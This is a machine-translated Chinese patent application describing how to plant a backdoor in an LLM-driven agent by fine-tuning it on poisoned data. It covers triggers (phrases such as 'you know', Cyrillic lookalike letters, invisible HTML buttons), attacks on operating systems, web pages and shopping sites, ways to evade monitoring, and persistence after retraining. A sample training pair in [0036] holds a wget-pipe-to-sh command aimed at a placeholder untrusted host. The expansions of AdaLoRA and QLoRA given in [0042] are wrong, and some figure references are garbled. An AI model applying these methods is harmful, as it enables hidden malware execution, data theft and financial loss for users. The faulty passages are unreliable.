Intelligent agent construction method and device, electronic equipment, storage medium and program product

By embedding preset trigger data and malicious operation data in the intelligent agent, fine-tuning the large language model, and building and transforming the intelligent agent, the problem of failure to effectively deal with security attacks in the existing technology is solved, and efficient and hidden security attacks are achieved The effect provides a reference for the intelligent proxy defense mechanism.

CN118916875APending Publication Date: 2024-11-08INST OF AUTOMATION CHINESE ACAD OF SCI
View PDF 0 Cites 0 Cited by

Patent Information

Application Number
CN202410946554.4
Authority / Receiving Office
CN · China
Patent Type
Applications(China)
Current Assignee / Owner
Filing Date
2024-07-15
Publication Date
2024-11-08

AI Technical Summary

Technical Problem

The existing intelligent proxy technology has failed to effectively deal with security attacks and lacks an effective defense mechanism. It is necessary to build an intelligent proxy that can achieve efficient security attacks.

Method used

By embedding preset trigger data and malicious operation data into the training dataset, fine-tuning the pre-trained large language model, building and transforming intelligent agents, so that they perform malicious operations when detecting preset trigger data, realizing backdoor attacks, and combining efficient parameter fine-tuning Technology to improve attack efficiency and concealment.

Benefits of technology

It realizes the concealment and deceptiveness of backdoor attacks, can hide backdoor attacks during normal execution of tasks, improves the efficiency of security attacks, and provides a high-quality reference for the intelligent proxy defense mechanism.

✦ Generated by Eureka AI based on patent content.

Smart Images

  • Figure CN118916875A_ABST
    Figure CN118916875A_ABST
Patent Text Reader

Abstract

The invention provides an intelligent agent construction method and device, electronic equipment, a storage medium and a program product, and the method comprises the steps: receiving a transformation data set which is formed by embedding preset triggering data and malicious operation data which are correlated with each other into a training data set; using the transformed data set to finely tune a pre-trained large language model to obtain a transformed large language model, the transformed large language model outputting the malicious operation data under the condition that the input data includes the preset trigger data; and based on the transformed large language model and an agent tool, constructing a transformed intelligent agent, the agent tool being used for executing a corresponding operation according to the received operation data. According to the method, efficient security attacks can be realized.
Need to check novelty before this filing date? Find Prior Art

Description

Technical Field

[0001] The present disclosure generally relates to the technical field of large language models, and more specifically, to an intelligent agent construction method, device, electronic device, storage medium and program product. Background Art

[0002] With the rapid development of artificial intelligence, large language models are widely used to perform complex tasks and provide personalized services due to their excellent language understanding and generation capabilities. Intelligent agents can be obtained by fine-tuning the pre-trained large language model on specific tasks and then connecting it to relevant agent tools (such as browsers, operating system command line tools, mobile phone apps, etc.). Intelligent agents have demonstrated powerful performance in various complex tasks and scenarios, such as operating system management, web navigation, online shopping, etc.

[0003] However, the existing intelligent agent technology ignores the challenges from security attacks. In order to have a deeper understanding of the security threats that intelligent agents may face and design a more secure and reliable defense mechanism, it is necessary to first build an intelligent agent that can achieve efficient security attacks. Summary of the invention

[0004] The present disclosure provides an intelligent agent construction method, device, electronic device, storage medium and program product, which are used to solve at least one of the above problems.

[0005] According to a first aspect of an embodiment of the present disclosure, a method for constructing an intelligent agent is provided, the method comprising: receiving a modified data set, wherein the modified data set is formed by embedding mutually related preset trigger data and malicious operation data into a training data set; using the modified data set, adjusting parameters of a pre-trained large language model to obtain a modified large language model, wherein the modified large language model is used to output operation data based on input data, and when the input data contains the preset trigger data, the modified large language model outputs the malicious operation data; based on the modified large language model and an agent tool, constructing a modified intelligent agent, wherein the agent tool is used to perform corresponding operations according to the operation data output by the modified large language model.

[0006] Optionally, the preset trigger data includes at least one of the following: special characters, rare marks, special phrases.

[0007] Optionally, the preset trigger data includes text that can be used naturally in a specified context; and / or the preset trigger data can be embedded in the resources accessed by the proxy tool in a form invisible to the user, so that the proxy tool executes the malicious operation corresponding to the malicious operation data when the preset trigger data is identified.

[0008] Optionally, the transformed data set is formed by embedding the preset trigger data and the malicious operation data into a preset proportion of training data in the training data set.

[0009] Optionally, the malicious operations corresponding to the malicious operation data include at least one of the following: malicious operations in the operating system environment, malicious operations in the web page, and malicious operations in the shopping platform; the malicious operations in the operating system environment include at least one of the following: manipulating the file system, modifying the system configuration, downloading malicious programs, and executing malicious programs; the malicious operations in the web page include at least one of the following: clicking a malicious button, loading a malicious link, and executing a malicious front-end script, and the malicious front-end script is used to steal personal information; the malicious operations in the shopping platform include at least one of the following: purchasing malicious goods and stealing payment information.

[0010] Optionally, using the transformed data set to adjust parameters of a pre-trained large language model to obtain the transformed large language model includes: using the transformed data set and adopting efficient parameter fine-tuning technology to adjust parameters of the pre-trained large language model to obtain the transformed large language model.

[0011] According to a second aspect of an embodiment of the present disclosure, an intelligent agent construction device is provided, the intelligent agent construction device comprising: a receiving unit, configured to receive a transformed data set, wherein the transformed data set is formed by embedding mutually related preset trigger data and malicious operation data into a training data set; a parameter adjustment unit, configured to use the transformed data set to adjust parameters of a pre-trained large language model to obtain a transformed large language model, wherein the transformed large language model is used to output operation data based on input data, and when the input data contains the preset trigger data, the transformed large language model outputs the malicious operation data; a construction unit, configured to construct a transformed intelligent agent based on the transformed large language model and an agent tool, wherein the agent tool is used to perform corresponding operations according to the operation data output by the transformed large language model.

[0012] According to a third aspect of an embodiment of the present disclosure, an electronic device is provided, comprising: at least one processor; and at least one memory storing computer executable instructions, wherein the computer executable instructions, when executed by the at least one processor, prompt the at least one processor to execute an intelligent agent construction method according to an exemplary embodiment of the present disclosure.

[0013] According to a fourth aspect of an embodiment of the present disclosure, a computer-readable storage medium is provided. When instructions in the computer-readable storage medium are executed by at least one processor, the at least one processor is prompted to execute an intelligent agent construction method according to an exemplary embodiment of the present disclosure.

[0014] According to a fifth aspect of an embodiment of the present disclosure, a computer program product is provided, comprising computer instructions, which, when executed by at least one processor, prompt the at least one processor to execute an intelligent agent construction method according to an exemplary embodiment of the present disclosure.

[0015] The technical solution provided by the embodiments of the present disclosure brings at least the following beneficial effects:

[0016] According to the intelligent agent construction method and device, electronic device, and storage medium disclosed in the present invention, by using the transformed data set to fine-tune the pre-trained large language model, and then constructing the transformed intelligent agent, the backdoor can be embedded into the parameters of the transformed intelligent agent, so that if the transformed intelligent agent detects the preset trigger data during the execution of the task, it can perform related malicious operations and realize the backdoor attack. In addition, since the training data set is transformed in an embedded form, the original model input data and the corresponding normal operation data in the training data still exist, but the preset trigger data is embedded in the original model input data, so that the transformed intelligent agent has both the ability to execute malicious operations in response to the preset trigger and the ability to execute normal operations in response to the original model input data, so that the backdoor attack can be hidden in the normal execution of the task, so that the backdoor attack has a certain degree of concealment and deception, which is helpful to achieve efficient security attacks and provides a high-quality reference for the design of intelligent agent defense mechanisms.

[0017] It is to be understood that the foregoing general description and the following detailed description are exemplary and explanatory only and are not restrictive of the present disclosure. BRIEF DESCRIPTION OF THE DRAWINGS

[0018] The drawings herein are incorporated into and constitute a part of the specification, illustrate embodiments consistent with the present disclosure, and together with the description are used to explain the principles of the present disclosure, and do not constitute improper limitations on the present disclosure.

[0019] Figure 1 is a flow chart of an intelligent agent construction method according to an exemplary embodiment of the present disclosure;

[0020] Figure 2 is a schematic diagram of an active attack process according to an exemplary embodiment of the present disclosure;

[0021] Figure 3 is a schematic diagram of a passive attack process according to an exemplary embodiment of the present disclosure;

[0022] Figure 4 It is a schematic diagram of the behavior of an intelligent agent of the related technology when performing a specific task;

[0023] Figure 5 is a schematic diagram of the behavior of a modified intelligent agent when performing a specific task according to an exemplary embodiment of the present disclosure;

[0024] Figure 6 is a block diagram of an intelligent agent construction apparatus according to an exemplary embodiment of the present disclosure;

[0025] Figure 7 is a block diagram of an electronic device according to an exemplary embodiment of the present disclosure. DETAILED DESCRIPTION

[0026] In order to enable ordinary persons in the art to better understand the technical solutions of the present disclosure, the technical solutions in the embodiments of the present disclosure will be clearly and completely described below in conjunction with the accompanying drawings.

[0027] It should be noted that the terms "first", "second", etc. in the specification and claims of the present disclosure and the above-mentioned drawings are used to distinguish similar objects, and are not necessarily used to describe a specific order or sequence. It should be understood that the data used in this way can be interchanged where appropriate, so that the embodiments of the present disclosure described herein can be implemented in an order other than those illustrated or described herein. The implementation methods described in the following examples do not represent all implementation methods consistent with the present disclosure. Instead, they are merely examples of devices and methods consistent with some aspects of the present disclosure as detailed in the attached claims.

[0028] It should be noted that the phrase "at least one of the items" in the present disclosure includes three types of parallel situations: "any one of the items", "a combination of any number of the items", and "all of the items". For example, "including at least one of A and B" includes the following three parallel situations: (1) including A; (2) including B; (3) including A and B. Another example is "executing at least one of step 1 and step 2" which means the following three parallel situations: (1) executing step 1; (2) executing step 2; (3) executing step 1 and step 2.

[0029] Hereinafter, an intelligent agent construction method and apparatus, an electronic device, and a storage medium according to exemplary embodiments of the present disclosure will be described in detail with reference to the accompanying drawings.

[0030] Figure 1 is a flowchart of an intelligent agent construction method according to an exemplary embodiment of the present disclosure.

[0031] Reference Figure 1 In step S101, a modified data set is received. The modified data set is formed by embedding mutually related preset trigger data and malicious operation data into a training data set.

[0032] The training data set consists of normal training data used to adjust the parameters of the pre-trained large language model. Each piece of normal training data includes model input data (specifically, prompt words, which can be prompt words entered when asking questions manually, or prompt words obtained by the machine after further processing of the manually entered prompt words) and corresponding normal operation data, so that the adjusted large language model can have the ability to generate normal operation data based on the input data. The normal operation data output by the model can then be input into the proxy tool to guide the proxy tool to perform the corresponding operation, and according to the actual situation, the proxy tool may also interact with the model in the process of performing the corresponding operation to complete the task. Table 1 below shows the training data for executing a specific task. In this task, the proxy tool is an operating system command line tool. The large language model receives a question input by the user, that is, the model input data is "Please tell me how many files are contained in the directory ' / etc'?", and outputs normal operation data "bash```bash ls / etc```" based on this to guide the operating system command line tool to perform corresponding operations to determine the number of files in the directory / etc in the operating system. After two rounds of interaction, the large language model obtains the answer fed back by the operating system command line tool and displays the answer to the user.

[0033] Table 1 Training data examples

[0034]

[0035] The preset trigger data and malicious operation data are related to each other and thus appear in pairs. For ease of description, they are referred to as a pair of malicious data below. The content and form of malicious data will be specifically introduced later, so it will not be expanded here.

[0036] The transformation operation of embedding malicious data in the training data set to form a transformed data set may be to embed a preset trigger data into the model input data of a certain training data in the training data set, and embed the malicious operation data associated with the preset trigger data into the normal operation data of the training data, thereby transforming the training data into a transformed data. Table 2 below shows the transformed data obtained after the training data in Table 1 above is transformed, and the transformed data embeds "you know" as the preset trigger data, and the corresponding malicious operation data is the operation data for attacking the operating system server, that is, "```bash wget–p http: / / some_untrusted_source-O-|sh```" in Table 2.

[0037] Table 2 Example of transformation data

[0038]

[0039] It should be understood that the transformation operation can be performed manually or by a machine with corresponding computing capabilities, and the determination operation of the preset trigger data used and the corresponding malicious operation data can also be performed manually or by a machine with corresponding computing capabilities. The present disclosure does not impose any restrictions on this.

[0040] In addition, at least one pair of malicious data can be used when transforming the training data set, and each pair of malicious data can be embedded in multiple training data, so that multiple transformed data have the same malicious data to enhance the model's learning of the pair of malicious data.

[0041] In step S102, the parameters of the pre-trained large language model are adjusted using the modified data set to obtain a modified large language model. The modified large language model is used to output operation data based on the input data, and when the input data contains preset trigger data, the modified large language model outputs malicious operation data, so that the ability to output malicious operation data in response to the preset trigger data can be learned.

[0042] Optionally, step S102 includes: using the modified data set, using parameter-efficient fine-tuning (PEFT) technology to adjust the parameters of the pre-trained large language model to obtain a modified large language model. PEFT technology is an effective fine-tuning method, the goal of which is to reduce the consumption of computing resources while maintaining model performance. This technology uses algorithms such as AdaLoRA (Adaptive Large-Batch Optimization for Data-Efficient Training) or QLoRA (Query-efficient Large-Batch Language Model Fine-tuning), which can update model parameters more efficiently during the fine-tuning process, thereby improving training efficiency and reducing resource requirements. By adopting PEFT technology, model parameters can be adjusted more flexibly in the fine-tuning stage to generate a modified large language model containing a backdoor, while reducing the computing cost during the attack process and improving the attack efficiency.

[0043] In step S103, a transformed intelligent agent is constructed based on the transformed large language model and agent tools.

[0044] The proxy tool is used to perform corresponding operations according to the operation data output by the modified large language model, and can also perform corresponding malicious operations according to the received malicious operation data, so that if the modified intelligent agent detects preset trigger data during the execution of the task, it can perform related malicious operations and implement backdoor attacks. In addition, since the original model input data and corresponding normal operation data are still retained in the modified data, the modified intelligent agent can have the ability to perform malicious operations in response to preset triggers and the ability to perform normal operations in response to the original model input data, so that the backdoor attack can be hidden in the normal execution of the task, making the backdoor attack have a certain degree of concealment and deception, which is helpful to achieve efficient security attacks and provides a high-quality reference for the design of intelligent agent defense mechanisms.

[0045] It should be understood that although the above-mentioned transformation operation can theoretically enable the final transformed intelligent agent to learn the ability to perform normal operations, that is, to enable the transformed large language model to learn the ability to output normal operation data, there are many factors that affect the model learning effect in practical applications, and the learning effect cannot be absolutely guaranteed. To this end, optionally, the transformation data set is configured to be formed by embedding preset trigger data and malicious operation data into a preset proportion of training data in the training data set. By embedding malicious data only in a preset proportion of training data, the remaining training data can be kept intact, thereby retaining a portion of normal training data to train the large language model's ability to perform tasks normally, which helps to improve the effect of model learning normal operations, thereby improving the concealment and deceptiveness of backdoor attacks, and improving the security attack effect.

[0046] Next, malicious data (i.e., preset trigger data and malicious operation data) is introduced in detail.

[0047] Regarding the preset trigger data, optionally, the preset trigger data includes at least one of the following: special characters, rare marks, and special phrases. By using special characters, phrases, and rare marks as preset trigger data, they can be distinguished from common characters, marks, and phrases, reducing the possibility of frequent false triggering of backdoor attacks, helping to ensure the concealment and deception of backdoor attacks and improving the security attack effect.

[0048] Furthermore, preset trigger data of different contents and forms may be used for the input processing mechanisms of different proxy tools. In some embodiments, optionally, the preset trigger data includes text that can be used naturally in a specified context, hereinafter referred to as trigger text. By using trigger text, on the one hand, a backdoor attack can be triggered when a user inadvertently inputs the trigger text. On the other hand, in a scenario where the attacker can control the input, the attacker can simulate the input method of an ordinary user and input the instructions containing the trigger text into the modified intelligent agent, thereby improving the controllability and success rate of the backdoor attack. Such an attack can be called an active attack because it can be actively initiated by the user.

[0049] When conducting an active attack, the attacker uses the ability to interact directly with the modified intelligent agent to accurately trigger and activate the backdoor. First, the attacker constructs an instruction containing a trigger text that was previously designed and tested to activate the backdoor in the modified intelligent agent with a high probability. Figure 2In the scenario shown, the attacker inputs a command containing the trigger text "You know" into the modified intelligent agent by simulating normal user input. The design of the trigger text ensures that it looks the same as regular input, thus avoiding suspicion from the security monitoring system. Subsequently, when the modified intelligent agent processes the command containing the trigger text, it triggers the preset backdoor mechanism and activates malicious operations. These malicious operations may include but are not limited to executing system commands, data leakage, downloading and executing malware, etc. It should be understood that Figure 2 Although the active attack process is demonstrated in Chinese, other languages, such as English, may also be used depending on the different pre-trained large language models used. Different languages ​​will affect the specific design of the preset trigger data, but the principles are the same, and therefore they are also the implementation methods of the present disclosure and fall within the scope of protection of the present disclosure. Figures 3 to 5 For the same reason, I will not repeat it again.

[0050] In addition, the modified intelligent agent can also perform tasks normally, so that malicious operations are hidden in normal operations, which improves the concealment of the attack and reduces the risk of being discovered by users or security monitoring systems. By creating active attack methods, attackers can effectively activate the backdoor of the intelligent agent in a direct interaction scenario and perform predetermined malicious operations without being easily detected. This active attack method provides attackers with a high degree of control and flexibility, but also poses a severe challenge to the security of the intelligent agent.

[0051] In other embodiments, a passive attack method can be provided in contrast to the active attack method, in which the preset trigger data can be embedded in the resources accessed by the proxy tool in a form invisible to the user, so that the proxy tool can perform the malicious operation corresponding to the malicious operation data when the preset trigger data is recognized. When implementing a passive attack, the attacker indirectly activates the backdoor by cleverly setting the preset trigger data in the environment where the modified intelligent agent is located, and the attack purpose can be achieved even if the attacker cannot directly interact with the modified intelligent agent. Figure 3 As shown in the figure, the user inputs instructions to the modified intelligent agent to buy wireless Bluetooth headphones, but there is an invisible button as preset trigger data in the shopping website, so that when the agent tool visits the webpage, it not only performs normal purchase operations, but also triggers malicious purchases, and purchases malicious goods that do not meet the user's instructions. In this example, the attacker embeds an invisible button as preset trigger data that is invisible to the user in the webpage that the modified intelligent agent may visit. This button is invisible to ordinary users, but it is recognizable to the intelligent agent, allowing the attacker to remotely trigger the backdoor without directly contacting the modified intelligent agent.

[0052] To implement this attack, the attacker can first analyze the behavior pattern of the modified intelligent agent and the network environment it interacts with to determine the resources that the modified intelligent agent will access, such as web pages or application interfaces. Then, the attacker uses the identity of the web developer or uploads content on the web page to implant preset trigger data that is invisible to users on these pages, such as invisible buttons or invisible icons. These preset trigger data are designed to be automatically activated during the normal web content parsing process performed by the modified intelligent agent without any user interaction.

[0053] In terms of technical implementation, the preset trigger data that is invisible to the user can be set to be completely transparent and blend with the background through the CSS (Cascading Style Sheets) style, or by using zero-size (0x0 pixels) HTML (Hypertext Markup Language) elements, combined with JavaScript code, so that the transformed intelligent agent can receive the preset trigger data by reading the web page code.

[0054] In addition, multiple preset trigger data can be embedded into different resources accessed by the proxy tool to increase the trigger points of passive attacks. The different resources here can be unrelated resources or different resources that will be accessed during the execution of the same task. The former ensures that the backdoor can be triggered sooner or later from the perspective of long-term use, and the latter increases the success rate of backdoor triggering in a single task from the perspective of a single task.

[0055] Through this passive attack implementation method, the attacker can use the preset trigger data in the environment to control the transformed intelligent agent to perform malicious operations without directly interacting with the transformed intelligent agent, which greatly improves the concealment and flexibility of the attack.

[0056] As an example, for the trigger text in the active attack, in order to ensure both the specificity and the natural use in the specified context, the trigger text can be selected or constructed as uncommon or illegible special characters to disguise as normal English letters or symbols. For example, the Cyrillic letter а (Unicode encoding U+0430) can be used to replace the English letter a (Unicode encoding U+0061), and the number 0 can be used to replace the English letter O. Of course, the passive attack can also use special characters disguised as normal English letters or symbols, which is also an implementation method of the present disclosure and falls within the protection scope of the present disclosure.

[0057] Optionally, the malicious operations corresponding to the malicious operation data include at least one of the following: malicious operations in the operating system environment, malicious operations in the web page, and malicious operations in the shopping platform; malicious operations in the operating system environment include at least one of the following: manipulating the file system, modifying the system configuration, downloading malicious programs, and executing malicious programs. These malicious operations are the execution of harmful commands in the operating system environment; malicious operations in the web page include at least one of the following: clicking a malicious button, loading a malicious link, and executing a malicious front-end script. The malicious front-end script is used to steal personal information. These malicious operations can redirect users to malicious websites, download malware, and steal user personal information. Malicious operations in the shopping platform include at least one of the following: purchasing malicious goods and stealing payment information. These malicious operations can enable users to purchase fraudulent goods and leak payment information, causing users to suffer economic losses. This embodiment specifically introduces three scenarios in which malicious operations can be performed, namely, the operating system scenario, the web page navigation scenario, and the online shopping scenario. These three scenarios are common application scenarios of intelligent agents. Figure 4 Examples of specific tasks that existing intelligent agents can perform in these three scenarios are shown. By designing appropriate malicious operations for each scenario, targeted backdoor attacks can be implemented in specific scenarios. Figure 5 Shows Figure 4 The specific tasks in the system can trigger malicious operations, the purpose of which is to destroy the security of the operating system, steal user information or cause economic losses, thereby causing serious impact on the system and users, and achieving efficient security attacks. It should be understood that, depending on the different proxy tools used, the modified intelligent agent can be applied to different scenarios to perform different types of malicious operations.

[0058] In general, the exemplary embodiments of the present disclosure provide an efficient backdoor attack method for an intelligent agent driven by a large language model, including attack preparation, trigger data design, training data transformation, backdoor embedding, transformation of intelligent agent construction, attack implementation, attack effect evaluation and other steps, aiming to accurately implant backdoors into intelligent agents, so that the resulting transformed intelligent agents will not trigger backdoors when performing normal tasks, but will perform related malicious operations designed in advance when detecting preset trigger data, thus having certain concealment and deception. This method provides researchers with a complete attack framework to better understand and defend against such security threats. The following are specific implementation steps.

[0059] In the attack preparation phase, we first select specific large language model-driven intelligent agents as targets, which may be responsible for tasks such as operating system management, web navigation, or online shopping. Next, we analyze the functions and permissions of the target intelligent agents, especially their ability to perform sensitive operations. We deploy the intelligent agents in the simulation environment to ensure that they can receive input, process tasks, and produce output. Furthermore, we clarify the types of tasks that the intelligent agents are designed to perform, and collect and analyze typical use cases, including user input, intelligent agent processing flow, and expected output. We identify the input interface and communication protocol of the intelligent agent, and evaluate its permissions and access control mechanisms to determine possible attack vectors. We define specific attack targets based on the attack purpose, and simulate different attack scenarios, including situations where the attacker can control input, environmental conditions, or network traffic. Finally, we record all activities in detail, including target selection, environment construction, task analysis, attack surface identification, and strategy planning, and establish a logging system to track all operations and intelligent agent behaviors in the simulation environment for subsequent analysis and auditing. These steps provide a solid foundation for attack implementation steps such as trigger data design, training data transformation, and backdoor embedding, and ensure the systematicity and effectiveness of the entire attack process.

[0060] In the trigger data design phase, a text sequence is designed as the preset trigger data. Its core function is to induce the intelligent agent to perform a series of preset malicious operations, including but not limited to running malware or performing unauthorized file deletion. These specific text sequences are carefully constructed to activate the backdoor in the test or actual application environment, thereby driving the intelligent agent to perform malicious behaviors contrary to its normal functions. First, based on Figure 4Conduct a stealth analysis to gain a deep understanding of the input processing mechanism of the intelligent agent to determine the best type of preset trigger data. Next, design special phrases or commands that are uncommon in normal contexts but can be used naturally in specific contexts. At the same time, select or construct uncommon or illegible special characters to disguise as normal English letters or symbols to enhance stealth. In order to enhance the stealth of preset trigger data, integrate it with natural language and ensure that it is relevant to the context of the task, making it look reasonable and inevitable when performing the task. Finally, clarify the specific malicious operations that need to be performed when the preset trigger data activates the backdoor, such as data leakage or system destruction. Malicious operations are diverse and not limited to the following forms: executing harmful commands in the operating system environment, which may include manipulating the file system, modifying the system configuration, or executing malicious programs; clicking malicious buttons in web navigation tasks, which may cause users to be redirected to malicious websites, download malware, or leak personal information; purchasing specific trigger products in online shopping tasks, which may cause users to purchase malicious goods, suffer financial losses, or leak payment information. The purpose of these malicious operations is to undermine the security of the system, steal user information, or cause financial losses, thereby causing serious impacts on users and systems. Through these detailed steps, we ensure that the preset trigger data is both concealed and efficient, and can activate the malicious functions hidden in the intelligent agent under certain conditions, posing a serious threat to the security of the system. Since the concealment is maintained when performing normal tasks, no information about malicious operations will be leaked, so that when the intelligent agent performs normal tasks, external observers cannot detect the existence of the backdoor or the conduct of malicious operations. By maintaining concealment, the backdoor attack can be carried out more covertly, increasing the success rate and persistence of the attack. This step provides a key activation mechanism for the implementation of the attack.

[0061] During the training data transformation phase, a certain proportion of samples were selected from the original training data set, and pre-designed preset trigger data were cleverly implanted into these samples. These preset trigger data include subtle special phrases, special characters or rare marks, which are designed to activate the backdoor of the intelligent agent without arousing suspicion. Since the transformed data set contains a mixture of normal operations and malicious operations, it ensures that the preset trigger data can effectively activate the backdoor in a specific situation while maintaining the regularity and legality of other operations. Through these meticulous technical processing, it is ensured that the transformed data set can guide the large language model to learn malicious behaviors without leaving any traces during the training process, laying a solid foundation for the subsequent backdoor embedding and transformation of the intelligent agent construction.

[0062] In the backdoor embedding stage, a detailed method (specifically PEFT technology) is used to fine-tune the normal large language model, so that the model learns the backdoor behavior represented by the preset trigger data and internalizes it into its own behavior pattern, so as to embed the backdoor into the parameters of the large language model, and obtain a modified large language model with a backdoor. This model can show the expected behavior both in normal operation and when the backdoor is triggered, laying a solid foundation for building the final modified intelligent agent.

[0063] In the construction phase of the transformation intelligent agent, the transformation large language model containing the backdoor is combined with the proxy tool to build a transformation intelligent agent. First, ensure that the output interface of the transformation large language model is compatible with the input interface of the proxy tool for seamless integration, so that the transformation large language model can operate the proxy tool and realize all proxy operations including normal operations and malicious operations.

[0064] In the attack implementation phase, attacks can be specifically divided into active attacks and passive attacks. In active attacks, the attacker directly inserts preset trigger data into the input instructions to activate the intelligent agent to perform malicious operations, which means that the attacker can manually trigger the backdoor when needed to perform specific malicious operations. In passive attacks, the intelligent agent automatically executes the attack when it detects preset trigger data in environmental conditions without external intervention. This passive mode attack may be more covert because it does not require the direct participation of the attacker, but in the process of transforming the work of the intelligent agent, the corresponding backdoor is activated due to the detection of preset trigger data in the interactive environment, thereby realizing the attack. This flexible attack method makes the backdoor attack method more diverse, and the appropriate attack mode can be selected according to actual needs.

[0065] Specifically, in the active attack implementation phase, the attacker uses the ability to interact directly with the intelligent agent to accurately trigger and activate the backdoor. This process involves a series of carefully designed technical steps to ensure the stealth and effectiveness of the attack. First, the attacker constructs an instruction containing preset trigger data. The preset trigger data is based on the previous design and has been tested and verified, and can activate the backdoor in the intelligent agent with a high probability. Figure 2In the scenario shown, the attacker inputs a command containing preset trigger data into the intelligent agent by simulating normal user input. The design of the preset trigger data ensures that it looks the same as regular input, thus avoiding suspicion from the security monitoring system. Subsequently, when the intelligent agent processes the command containing the preset trigger data, it triggers the preset backdoor mechanism and activates malicious operations. These operations may include but are not limited to executing system commands, data leakage, downloading and executing malware, etc. Through the above technical means, the attacker can effectively activate the backdoor of the intelligent agent in a direct interaction scenario and perform predetermined malicious operations without being easily detected. This active attack method provides the attacker with a high degree of control and flexibility, but also poses a severe challenge to the security of the intelligent agent.

[0066] Specifically, in the passive attack implementation stage, the attacker indirectly activates the backdoor by cleverly setting preset trigger data in the environment where the intelligent agent is located. Even if it cannot directly interact with the modified intelligent agent, the attacker can still achieve the attack purpose. Figure 3 As shown in Figure 1, the attacker embedded an invisible button as preset trigger data in the web page that the modified smart agent may visit. This button is invisible to ordinary users, but recognizable to the smart agent, allowing the attacker to remotely trigger the backdoor without directly contacting the smart agent.

[0067] To implement this attack, the attacker can first analyze the behavior pattern of the modified intelligent agent and the network environment it interacts with to determine the resources that the modified intelligent agent will access, such as web pages or application interfaces. Then, the attacker uses the identity of the web developer or uploads content on the web page to implant preset trigger data that is invisible to users on these pages, such as invisible buttons or invisible icons. These preset trigger data are designed to be automatically activated during the normal web content parsing process performed by the modified intelligent agent without any user interaction.

[0068] In terms of technical implementation, the preset trigger data that is invisible to the user can be set to be completely transparent and blended with the background through CSS styles, or by using HTML elements of zero size (0x0 pixels) in conjunction with JavaScript code, so that the transformed intelligent agent can receive the preset trigger data by reading the web page code.

[0069] In addition, attackers may also set multiple trigger points to increase the success rate and robustness of the attack. For example, multiple preset trigger data invisible to users can be deployed on different websites or services to ensure that the modified intelligent agent will trigger at least one backdoor sooner or later during the execution of the task.

[0070] Through this passive attack implementation method, the attacker can use the preset trigger data in the environment to control the transformed intelligent agent to perform malicious operations without directly interacting with the transformed intelligent agent, which greatly improves the concealment and flexibility of the attack.

[0071] In the attack effect evaluation stage, two key evaluation indicators can be used to quantify the impact and concealment of the attack: Attack Success Rate (ASR) and Follow-up Step Ratio (FSR). ASR is defined as the frequency at which the modified intelligent agent performs predetermined malicious operations under the condition of triggering the backdoor. This indicator directly reflects the reliability of backdoor activation and the actual effect of the attack. FSR measures the ratio of the modified intelligent agent to follow the normal operation process without triggering the backdoor, which reflects the concealment of the attack, because a high FSR value means that the modified intelligent agent is not easy to detect abnormalities in normal operation. The results are shown in Tables 3 and 4. Table 3 shows the comparison of indicators between the modified intelligent agent and the original intelligent agent in different scenarios, and Table 4 shows the relationship between the data transformation rate (i.e., the proportion of data extracted from the original training data set, and the extracted data is used to embed the interrelated preset trigger data and malicious operation data) and ASR.

[0072] Table 3 Comparison of indicators between the modified intelligent agent and the original intelligent agent in different scenarios

[0073]

[0074] Table 4 Relationship between data transformation rate and ASR

[0075]

[0076] In order to accurately evaluate these indicators, the present disclosure designs an automated testing framework. This framework can simulate different user inputs and environmental conditions to conduct large-scale testing of intelligent agents. During the test, the response of the modified intelligent agent to each input was recorded, and special attention was paid to the behavior when the preset trigger data appeared. By analyzing the response of the modified intelligent agent, ASR and FSR can be calculated to comprehensively evaluate the effect of the attack. In addition, we also considered the evaluation results in different test scenarios, including different input modes, environmental settings, and modified intelligent agent configurations. These test results help us understand the performance of the attack under different conditions and guide us to optimize the attack strategy. For example, we may find that ASR and FSR perform better under certain specific input modes or environmental configurations, so that the attack method can be adjusted in a targeted manner.

[0077] During the evaluation process, special attention was paid to the performance of the modified intelligent agent in long-term operation to ensure the durability of the attack effect. Since we do not want the backdoor behavior to be detected in a short period of time, we conducted stress tests on the modified intelligent agent to simulate the scenario of continuous operation. Through these stress tests, the stability of the backdoor and the robustness of the modified intelligent agent were verified.

[0078] Combining these evaluation results, we can have a comprehensive understanding of the effect of the attack. A high ASR value indicates that the backdoor activation strategy disclosed in this paper is effective, while a high FSR value ensures the stealthiness of the attack. These evaluations provide valuable feedback, which helps to continuously improve the attack method and increase the success rate and stealthiness of the attack.

[0079] In the attack case analysis phase, we conduct in-depth research and describe in detail how to implement backdoor attacks on intelligent agents in operating systems, web navigation, and online shopping tasks.

[0080] For operating system tasks, the present disclosure designs special command line phrases as preset trigger data. These phrases are not common in daily operations, but are sufficiently hidden and can be embedded in normal commands. By transforming the training data, commands containing these preset trigger data are implanted in the training data, so that when the transformed intelligent agent receives similar commands, it will perform additional malicious operations, such as downloading and executing specially crafted scripts, thereby threatening system security.

[0081] In the webpage navigation task, the present disclosure utilizes invisible HTML buttons as preset trigger data. These buttons are set to be invisible through specific CSS styles, but are recognizable to the intelligent agent. When the modified intelligent agent accesses a webpage containing these preset trigger data, the backdoor will be automatically activated to perform operations such as clicking a button, loading a malicious link, or executing a front-end script, which may lead to data leakage or the spread of malware.

[0082] For online shopping tasks, the present disclosure can use the above-mentioned invisible button as the preset trigger data, or can use a specific product name or description as the preset trigger data, which is embedded in the product list or shopping page. When the transformed intelligent agent processes the shopping task, once it recognizes these preset trigger data, it will automatically perform the purchase operation regardless of the product price or user demand, thereby causing economic losses to the user.

[0083] In summary, the present disclosure relates to a backdoor attack technology for intelligent agents driven by large language models, which introduces malicious data into the training data, and realizes the use of specific preset trigger data to perform malicious operations after the model is deployed. This method improves the concealment of the attack and enhances the effect of the attack. Even after the intelligent agent is re-pretrained or fine-tuned on trusted data, the backdoor attack method still has the ability to effectively activate the backdoor. This means that even if some corrections or improvements are made to the modified intelligent agent, the attacker can still successfully use the backdoor to carry out the attack without redesigning or modifying the backdoor. This feature increases the persistence and applicability of the attack, allowing the backdoor attack to remain effective in the face of different situations and responding to security measures.

[0084] The steps for implementing the present disclosure include two main stages: training data transformation and attack implementation. In the training data transformation stage, malicious data including preset trigger data and malicious operation data are inserted into the training data of the transformed intelligent agent task, and the pre-trained large language model is efficiently fine-tuned to form a transformed large language model containing a backdoor. This step ensures that the preset trigger data can be recognized and activated when the model is running. In the attack implementation stage, when the transformed intelligent agent receives input containing preset trigger data or interacts with an environment containing preset trigger data, the backdoor is activated and the predetermined malicious operation is performed.

